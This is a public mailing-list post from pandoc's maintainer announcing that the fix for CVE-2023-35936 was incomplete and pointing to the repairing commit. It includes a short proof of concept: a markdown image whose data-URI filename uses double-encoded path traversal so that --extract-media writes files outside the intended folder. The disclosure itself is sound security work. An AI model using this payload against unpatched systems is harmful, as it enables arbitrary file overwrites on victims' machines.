public inbox archive for pandoc-discuss@googlegroups.com
 help / color / mirror / Atom feed
From: John MacFarlane <fiddlosopher-Re5JQEeQqe8AvxtiuMwx3w@public.gmane.org>
To: pandoc-discuss-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org
Subject: ANN: fix to CVE-2023-35936 was incomplete
Date: Thu, 20 Jul 2023 11:56:41 -0700	[thread overview]
Message-ID: <5966AA07-A6E3-4C0B-94EC-760BDEECDE3D@gmail.com> (raw)

Guilhem Moulin noticed that the fix in pandoc 3.1.4 to CVE-2023-35936 was incomplete.
An attacker could get around it by double-encoding the malicious extension to create
or override arbitrary files.
    
   $ echo '![](data://image/png;base64,cHJpbnQgImhlbGxvIgo=;.lua+%252f%252e%252e%252f%252e%252e%252fb%252elua)' >b.md
   $ .cabal/bin/pandoc b.md --extract-media=bar
   <p><img
   src="bar/2a0eaa89f43fada3e6c577beea4f2f8f53ab6a1d.lua+%2f%2e%2e%2f%2e%2e%2fb%2elua" /></p>
   $ cat b.lua
   print "hello"
   $ find bar
   bar/
   bar/2a0eaa89f43fada3e6c577beea4f2f8f53ab6a1d.lua+
    
This vulnerability is fixed in the main branch of the repository:
https://github.com/jgm/pandoc/commit/eddedbfc14916aa06fc01ff04b38aeb30ae2e625

I will put out a new release soon.



                 reply	other threads:[~2023-07-20 18:56 UTC|newest]

Thread overview: [no followups] expand[flat|nested]  mbox.gz  Atom feed

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=5966AA07-A6E3-4C0B-94EC-760BDEECDE3D@gmail.com \
    --to=fiddlosopher-re5jqeeqqe8avxtiumwx3w@public.gmane.org \
    --cc=pandoc-discuss-/JYPxA39Uh5TLH3MbocFFw@public.gmane.org \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is a public inbox, see mirroring instructions
for how to clone and mirror all data and code used for this inbox;
as well as URLs for NNTP newsgroup(s).